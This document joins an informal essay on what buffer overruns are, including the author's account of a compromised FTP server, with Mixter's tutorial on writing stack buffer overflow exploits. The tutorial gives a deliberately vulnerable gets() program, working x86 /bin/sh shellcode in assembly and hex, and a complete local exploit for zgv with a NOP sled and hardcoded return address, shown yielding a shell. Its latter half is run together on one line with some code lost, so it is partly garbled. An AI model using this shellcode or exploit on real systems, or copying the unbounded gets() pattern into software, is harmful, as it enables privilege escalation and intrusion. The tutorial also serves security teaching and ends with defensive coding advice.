What is a Buffer Overrun?

A buffer overrun is one of the most common attacks against an Internet
accessible Unix host (a C/C++ function() bug). Unix computers run Internet
Services such as email, websites, and file download services (FTP). More
than 60% of the time when you access a website, it is being served by a
Unix flavored system. Note that Microsoft's Windows family is just as
vulnerable to these attacks as Unix based operating systems.

For the most part, Unix and it's services are written in the programming
language 'C'. C has many functions that all C programmers use very often
such as functions to open files, write to the files, and close the files.
If you didn't use these 'built-in' functions, you would be in essense
re-creating the wheel (a waste of your time and project budget).

All computers read data from their hard drives and store it in a memory
medium known as RAM. The processor can directly access and manipulate this
memory because it is in an electric format, the same format in which the
processor operates. A processor cannot use hard disk data until it is
loaded into the RAM by other PC hardware. Just like you can't use info in
a book until it is loaded into your memory or conscience. Your eyes are
the hardware which loads data from a book to your memory. When you want to
remember something you write it down, just as a computer writes information
from RAM to the hard-drive... so it doesn't forget.

When a client connects to a Unix server service, unless it is a public
website, it asks for you to log in with a username and password. The
username and password you type in is stored in memory. As a C programmer,
you would have to design temporary variables (buffers) to hold this data
in memory while the computer checks the authentication database to see if
your credentials are valid. This memory (RAM) is the same place all of the
other data is stored in which the Unix server uses to run code.

A buffer overrun is when there is a bug or flaw in this C program which
allows the client to write to more memory than is expected. If the program
is expecting a username of 16 characters or less, it will allocate an
available area in memory to hold 16 characters. It will look for the first
available 16 character slot. If you write more than 16 characters, the
program should ignore them, but sometimes, it will keep on recording your
login data in memory... overwriting (overruning), or going past the data
buffer (slot) which was reserved in RAM for your data. This data that is
being overwriten is there for a purpose. The chances of this data being a
Word Processing document are quite small, it is most likely data (or code)
that instructs the computer how to do something.

So, when someone finds a bug in a program that allows them to write more
information than the program expects, they create a buffer overrun exploit.
These people are very knowledgeable to even be able to assess that this
problem exists, the next step is even more advanced.

By the way, I would guess that every time an overrun bug is found, the data
that would be overwritten by the overrun is instructions sets (code) for the
program in which the bug exists. This memory is most likely allocated when
the program is started. As a result, the cracker has to find out what the
program does after the login credentials are given. What address in memory
does the processor look for its next instruction set. It may or may not be
the area that was overwritten by the bug.

The cracker finds out when the area in memory that will be overwritten
(but should not have been) will be accessed and what state the computer will
be in when it does so. Knowing all this information, the cracker creates a
program that does what he want the computer to do and puts this program in
that area. So, if the server is expecting 16 characters, the first 16
characters will obviously not be the start of the program (that he sends)
since the program will not look there for instructions. Most of the time
it is probably not the 17th or 18th character either, that may for simple
data storage also, but somewhere down that line, an instruction set begins.

The cracker will write the program, compile the program into RAM data
format, and save it inside another program. The 2nd program's purpose is
to connect to the server and put the 1st programs code into the login
area of the server. The 1st program (the buffer overrun exploit) will be
sitting there in the servers RAM and the next time the server looks to that
area of RAM for instructions, instead of the original instruction set, it
is the instruction set of the cracker. The only real reason the 2nd program
is needed is for automation of the exploit. Computer code is often data that
cannot be typed from the keyboard (at least not without using some special
methods that would be both error prone and painfully slow). Have you ever
seen these symbols on your keyboard:  ÿ å Õ. If you hold down the right ALT
key and from your numeric keypad, type 0255 and release the ALT key, you will
have typed the first symbol. The other two are 0229 0213 (You can't do it on
this webpage, you must go to an input field where characters are accepted).
Computer code uses data characters that are not useful in text based data
(keyboard input).

So to summarize, a buffer overrun exploit is when a cracker finds a problem
with a program that will allow him to write more information into a login
prompt than the original programmer anticipated. Instead of writing his
username and password (keyboard text), he is sending computer instructions
knowing that at some point the server will look to that area in RAM for the
next set of instructions which it should execute. You know how long it takes
a computer or program to start, that is because data is being read from the
hard drive into the RAM. At some point, the information that was overwritten
was read from the hard drive into that slot of memory (RAM) for later use,
but now, it is not the intended instruction set.

The cracker will have to invest a lot of time researching, programming, and
testing the exploit, but once it is finalized, it is a powerful exploit.
The best way to utilize this opportunity is to create code that instructs
the server to create a (highly privledged) account for the cracker, then he
will enter the server from more traditional methods such as Telnet or Secure
Shell (administrative services) and do whatever it is he intends to do.

When I first heard of a buffer overrun and how it works, I thought to myself,
this is an attack that must be rare. The problem is, when a cracker that is
not a hacker (hackers report the problem and help solve them) finds the
buffer exploit, he will create a kit that will allow all of the 'script-
kiddies' to use the exploit (thus giving him notorious fame in place of a
humble thanks from the administrative community). I would imagine the
personalities are the same both in a social scene and an electronic scene.
By the way, a script-kiddie is someone who uses a crackers discoveries and
pre-made exploit kits to break into a system (posers, wana-bes, etc). Point
is, I didn't realize in the begining what a threat the buffer overrun
presents, until my Unix box was compromised via a buffer overrun in the
Washington University's FTP daemon which is the most popular FTP service
in Linux systems. I was attacked by a script-kiddie, not a cracker, I could
tell by the evidence he left behind that he used a kit.

The buffer overrun vulnerbility begins when the programmer writes the code
in the C or C++ programming language. The built-in C functions which allocate
the memory and receive the data (from the client at the login prompt) had
the bug, it is not necessarily a mistake made by the programmer himself
(unless the function was outdated at the time of the programs creation and
he used it because he has not "bothered" to learned the revised replacement
functions' methodologies and usage).


Writing buffer overflow exploits - a tutorial for beginners

Security papers - members.tripod.com/mixtersecurity/papers.html

Buffer overflows in user input dependent buffers have become one of
the biggest security hazards on the internet and to modern computing in
general. This is because such an error can easily be made at programming
level, and while invisible for the user who does not understand or cannot
acquire the source code, many of those errors are easy to exploit. This
paper makes an attempt to teach the novice - average C programmer how an
overflow condition can be proven to be exploitable.

Mixter

_______________________________________________________________________________

1. Memory

Note: The way I describe it here, memory for a process is organized on most
      computers, however it depends on the type of processor architecture.
      This example is for x86 and also roughly applies to sparc.

The principle of exploiting a buffer overflow is to overwrite parts of
memory which aren't supposed to be overwritten by arbitrary input and
making the process execute this code. To see how and where an overflow
takes place, lets take a look at how memory is organized.
A page is a part of memory that uses its own relative addressing, meaning
the kernel allocates initial memory for the process, which it can then
access without having to know where the memory is physically located in
RAM. The processes memory consists of three sections:

 - code segment, data in this segment are assembler instructions that
   the processor executes. The code execution is non-linear, it can skip
   code, jump, and call functions on certain conditions. Therefore, we
   have a pointer called EIP, or instruction pointer. The address where
   EIP points to always contains the code that will be executed next.

 - data segment, space for variables and dynamic buffers

 - stack segment, which is used to pass data (arguments) to functions
   and as a space for variables of functions. The bottom (start) of the
   stack usually resides at the very end of the virtual memory of a page,
   and grows down. The assembler command PUSHL will add to the top of the
   stack, and POPL will remove one item from the top of the stack and put
   it in a register. For accessing the stack memory directly, there is
   the stack pointer ESP that points at the top (lowest memory address)
   of the stack.

_______________________________________________________________________________

2. Functions

A function is a piece of code in the code segment, that is called,
performs a task, and then returns to the previous thread of execution.
Optionally, arguments can be passed to a function. In assembler, it
usually looks like this (very simple example, just to get the idea):

memory address		code
0x8054321 	pushl $0x0
0x8054322		call $0x80543a0 
0x8054327		ret
0x8054328		leave
...
0x80543a0 	popl %eax
0x80543a1		addl $0x1337,%eax
0x80543a4		ret

What happens here? The main function calls function(0);
The variable is 0, main pushes it onto the stack, and calls the
function. The function gets the variable from the stack using popl.
After finishing, it returns to 0x8054327. Commonly, the main function
would always push register EBP on the stack, which the function stores,
and restores after finishing. This is the frame pointer concept, that
allows the function to use own offsets for addressing, which is mostly
uninteresting while dealing with exploits, because the function will not
return to the original execution thread anyways. :-)
We just have to know what the stack looks like. At the top, we have the
internal buffers and variables of the function. After this, there is the
saved EBP register (32 bit, which is 4 bytes), and then the return address,
which is again 4 bytes. Further down, there are the arguments passed to
the function, which are uninteresting to us.
In this case, our return address is 0x8054327. It is automatically stored
on the stack when the function is called. This return address can be 
overwritten, and changed to point to any point in memory, if there is an
overflow somewhere in the code.

_______________________________________________________________________________

3. Example of an exploitable program

Lets assume that we exploit a function like this:

void lame (void) { char small[30]; gets (small); printf("%s\n", small); }
main() { lame (); return 0; }

Compile and disassemble it:
# cc -ggdb blah.c -o blah
/tmp/cca017401.o: In function `lame':
/root/blah.c:1: the `gets' function is dangerous and should not be used.
# gdb blah
/* short explanation: gdb, the GNU debugger is used here to read the
   binary file and disassemble it (translate bytes to assembler code) */
(gdb) disas main
Dump of assembler code for function main:
0x80484c8 
: pushl %ebp 0x80484c9 : movl %esp,%ebp 0x80484cb : call 0x80484a0 0x80484d0 : leave 0x80484d1 : ret (gdb) disas lame Dump of assembler code for function lame: /* saving the frame pointer onto the stack right before the ret address */ 0x80484a0 : pushl %ebp 0x80484a1 : movl %esp,%ebp /* enlarge the stack by 0x20 or 32. our buffer is 30 characters, but the memory is allocated 4byte-wise (because the processor uses 32bit words) this is the equivalent to: char small[30]; */ 0x80484a3 : subl $0x20,%esp /* load a pointer to small[30] (the space on the stack, which is located at virtual address 0xffffffe0(%ebp)) on the stack, and call the gets function: gets(small); */ 0x80484a6 : leal 0xffffffe0(%ebp),%eax 0x80484a9 : pushl %eax 0x80484aa : call 0x80483ec 0x80484af : addl $0x4,%esp /* load the address of small and the address of "%s\n" string on stack and call the print function: printf("%s\n", small); */ 0x80484b2 : leal 0xffffffe0(%ebp),%eax 0x80484b5 : pushl %eax 0x80484b6 : pushl $0x804852c 0x80484bb : call 0x80483dc 0x80484c0 : addl $0x8,%esp /* get the return address, 0x80484d0, from stack and return to that address. you don't see that explicitly here because it is done by the CPU as 'ret' */ 0x80484c3 : leave 0x80484c4 : ret End of assembler dump. 3a. Overflowing the program # ./blah xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- user input xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx # ./blah xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- user input xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Segmentation fault (core dumped) # gdb blah core (gdb) info registers eax: 0x24 36 ecx: 0x804852f 134513967 edx: 0x1 1 ebx: 0x11a3c8 1156040 esp: 0xbffffdb8 -1073742408 ebp: 0x787878 7895160 ^^^^^^ EBP is 0x787878, this means that we have written more data on the stack than the input buffer could handle. 0x78 is the hex representation of 'x'. The process had a buffer of 32 bytes maximum size. We have written more data into memory than allocated for user input and therefore overwritten EBP and the return address with 'xxxx', and the process tried to resume execution at address 0x787878, which caused it to get a segmentation fault. 3b. Changing the return address Lets try to exploit the program to return to lame() instead of return. We have to change return address 0x80484d0 to 0x80484cb, that is all. In memory, we have: 32 bytes buffer space | 4 bytes saved EBP | 4 bytes RET Here is a simple program to put the 4byte return address into a 1byte character buffer: main() { int i=0; char buf[44]; for (i=0;i<=40;i+=4) *(long *) &buf[i] = 0x80484cb; puts(buf); } # ret ËËËËËËËËËËË, # (ret;cat)|./blah test <- user input ËËËËËËËËËËË,test test <- user input test Here we are, the program went through the function two times. If an overflow is present, the return address of functions can be changed to alter the programs execution thread. _______________________________________________________________________________ 4. Shellcode To keep it simple, shellcode is simply assembler commands, which we write on the stack and then change the retun address to return to the stack. Using this method, we can insert code into a vulnerable process and then execute it right on the stack. So, lets generate insertable assembler code to run a shell. A common system call is execve(), which loads and runs any binary, terminating execution of the current process. The manpage gives us the usage: int execve (const char *filename, char *const argv [], char *const envp[]); Lets get the details of the system call from glibc2: # gdb /lib/libc.so.6 (gdb) disas execve Dump of assembler code for function execve: 0x5da00 : pushl %ebx /* this is the actual syscall. before a program would call execve, it would push the arguments in reverse order on the stack: **envp, **argv, *filename */ /* put address of **envp into edx register */ 0x5da01 : movl 0x10(%esp,1),%edx /* put address of **argv into ecx register */ 0x5da05 : movl 0xc(%esp,1),%ecx /* put address of *filename into ebx register */ 0x5da09 : movl 0x8(%esp,1),%ebx /* put 0xb in eax register; 0xb == execve in the internal system call table */ 0x5da0d : movl $0xb,%eax /* give control to kernel, to execute execve instruction */ 0x5da12 : int $0x80 0x5da14 : popl %ebx 0x5da15 : cmpl $0xfffff001,%eax 0x5da1a : jae 0x5da1d <__syscall_error> 0x5da1c : ret End of assembler dump. 4a. making the code portable We have to apply a trick to be able to make shellcode without having to reference the arguments in memory the conventional way, by giving their exact address on the memory page, which can only be done at compile time. Once we can estimate the size of the shellcode, we can use the instructions jmp and call to go a specified number of bytes back or forth in the execution thread. Why use a call? We have the opportunity that a CALL will automatically store the return address on the stack, the return address being the next 4 bytes after the CALL instruction. By placing a variable right behind the call, we indirectly push its address on the stack without having to know it. 0 jmp (skip Z bytes forward) 2 popl %esi ... put function(s) here ... Z call <-Z+2> (skip 2 less than Z bytes backward, to POPL) Z+5 .string (first variable) (Note: If you're going to write code more complex than for spawning a simple shell, you can put more than one .string behind the code. You know the size of those strings and can therefore calculate their relative locations once you know where the first string is located.) 4b. the shellcode global code_start /* we'll need this later, dont mind it */ global code_end .data code_start: jmp 0x17 popl %esi movl %esi,0x8(%esi) /* put address of **argv behind shellcode, 0x8 bytes behind it so a /bin/sh has place */ xorl %eax,%eax /* put 0 in %eax */ movb %eax,0x7(%esi) /* put terminating 0 after /bin/sh string */ movl %eax,0xc(%esi) /* another 0 to get the size of a long word */ my_execve: movb $0xb,%al /* execve( */ movl %esi,%ebx /* "/bin/sh", */ leal 0x8(%esi),%ecx /* & of "/bin/sh", */ xorl %edx,%edx /* NULL */ int $0x80 /* ); */ call -0x1c .string "/bin/shX" /* X is overwritten by movb %eax,0x7(%esi) */ code_end: (The relative offsets 0x17 and -0x1c can be gained by putting in 0x0, compiling, disassembling and then looking at the shell codes size.) This is already working shellcode, though very minimal. You should at least disassemble the exit() syscall and attach it (before the 'call'). The real art of making shellcode also consists of avoiding any binary zeroes in the code (indicates end of input/buffer very often) and modify it for example, so the binary code does not contain control or lower characters, which would get filtered out by some vulnerable programs. Most of this stuff is done by self-modifying code, like we had in the movb %eax,0x7(%esi) instruction. We replaced the X with \0, but without having a \0 in the shellcode initially... Lets test this code... save the above code as code.S (remove comments) and the following file as code.c: extern void code_start(); extern void code_end(); #include main() { ((void (*)(void)) code_start)(); } # cc -o code code.S code.c # ./code bash# You can now convert the shellcode to a hex char buffer. Best way to do this is, print it out: #include extern void code_start(); extern void code_end(); main() { fprintf(stderr,"%s",code_start); } and parse it through aconv -h or bin2c.pl, those tools can be found at: http://www.dec.net/~dhg or http://members.tripod.com/mixtersecurity _______________________________________________________________________________ 5. Writing an exploit Let us take a look at how to change the return address to point to shellcode put on the stack, and write a sample exploit. We will take zgv, because that is one of the easiest things to exploit out there :) # export HOME=`perl -e 'printf "a" x 2000'` # zgv Segmentation fault (core dumped) # gdb /usr/bin/zgv core #0 0x61616161 in ?? () (gdb) info register esp esp: 0xbffff574 -1073744524 Well, this is the top of the stack at crash time. It is safe to presume that we can use this as return address to our shellcode. We will now add some NOP (no operation) instructions before our buffer, so we don't have to be 100% correct regarding the prediction of the exact start of our shellcode in memory (or even brute forcing it). The function will return onto the stack somewhere before our shellcode, work its way through the NOPs to the inital JMP command, jump to the CALL, jump back to the popl, and run our code on the stack. Remember, the stack looks like this: at the lowest memory address, the top of the stack where ESP points to, the initial variables are stored, namely the buffer in zgv that stores the HOME environment variable. After that, we have the saved EBP(4bytes) and the return address of the previous function. We must write 8 bytes or more behind the buffer to overwrite the return address with our new address on the stack. The buffer in zgv is 1024 bytes big. You can find that out by glancing at the code, or by searching for the initial subl $0x400,%esp (=1024) in the vulnerable function. We will now put all those parts together in the exploit: 5a. Sample zgv exploit /* zgv v3.0 exploit by Mixter buffer overflow tutorial - http://1337.tsx.org sample exploit, works for example with precompiled redhat 5.x/suse 5.x/redhat 6.x/slackware 3.x linux binaries */ #include #include #include /* This is the minimal shellcode from the tutorial */ static char shellcode[]= "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d" "\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58"; #define NOP 0x90 #define LEN 1032 #define RET 0xbffff574 int main() { char buffer[LEN]; long retaddr = RET; int i; fprintf(stderr,"using address 0x%lx\n",retaddr); /* this fills the whole buffer with the return address, see 3b) */ for (i=0;i function() -> strcpy(smallbuffer,getenv("HOME")); At this point, zgv fails to do bounds checking, writes beyond smallbuffer, and the return address to main is overwritten with the return address on the stack. function() does leave/ret and the EIP points onto the stack: 0xbffff574 nop 0xbffff575 nop 0xbffff576 nop 0xbffff577 jmp $0x24 1 0xbffff579 popl %esi 3 <--\ | [... shellcode starts here ...] | | 0xbffff59b call -$0x1c 2 <--/ 0xbffff59e .string "/bin/shX" Lets test the exploit... # cc -o zgx zgx.c # ./zgx using address 0xbffff574 bash# 5b. further tips on writing exploits There are a lot of programs which are tough to exploit, but nonetheless vulnerable. However, there are a lot of tricks you can do to get behind filtering and such. There are also other overflow techniques which do not necessarily include changing the return address at all or only the return address. There are so-called pointer overflows, where a pointer that a function allocates can be overwritten by an overflow, altering the programs execution flow (an example is the RoTShB bind 4.9 exploit), and exploits where the return address points to the shells environment pointer, where the shellcode is located instead of being on the stack (this defeats very small buffers, and Non-executable stack patches, and can fool some security programs, though it can only be performed locally). Another important subject for the skilled shellcode author is radically self-modifying code, which initially only consists of printable, non-white upper case characters, and then modifies itself to put functional shellcode on the stack which it executes, etc. You should never, ever have any binary zeroes in your shell code, because it will most possibly not work if it contains any. But discussing how to sublimate certain assembler commands with others would go beyond the scope of this paper. I also suggest reading the other great overflow howto's out there, written by aleph1, Taeoh Oh and mudge. 5c. important note You will NOT be able to use this tutorial on Windows or Macintosh. Do NOT ask me for cc.exe and gdb.exe either! =oP _______________________________________________________________________________ 6. Conclusions We have learned, that once an overflow is present which is user dependent, it can be exploited about 90% of the time, even though exploiting some situations is difficult and takes some skill. Why is it important to write exploits? Because ignorance is omniscient in the software industry. There have already been reports of vulnerabilities due to buffer overflows in software, though the software has not been updated, or the majority of users didn't update, because the vulnerability was hard to exploit and nobody believed it created a security risk. Then, an exploit actually comes out, proves and practically enables a program to be exploitable, and there is usually a big (neccessary) hurry to update it. As for the programmer (you), it is a hard task to write secure programs, but it should be taken very serious. This is a specially large concern when writing servers, any type of security programs, or programs that are suid root, or designed to be run by root, any special accounts, or the system itself. Apply bounds checking (strn*, sn*, functions instead of sprintf etc.), prefer allocating buffers of a dynamic, input-dependent, size, be careful on for/while/etc. loops that gather data and stuff it into a buffer, and generally handle user input with very much care are the main principles I suggest. There has also been made notable effort of the security industry to prevent overflow problems with techniques like non-executable stack, suid wrappers, guard programs that check return addresses, bounds checking compilers, and so on. You should make use of those techniques where possible, but do not fully rely on them. Do not assume to be safe at all if you run a vanilla two-year old UNIX distribution without updates, but overflow protection or (even more stupid) firewalling/IDS. It cannot assure security, if you continue to use insecure programs because _all_ security programs are _software_ and can contain vulnerabilities themselves, or at least not be perfect. If you apply frequent updates _and_ security measures, you can still not expect to be secure, _but_ you can hope. :-) Mixter http://members.tripod.com/mixtersecurity


Further Reading 1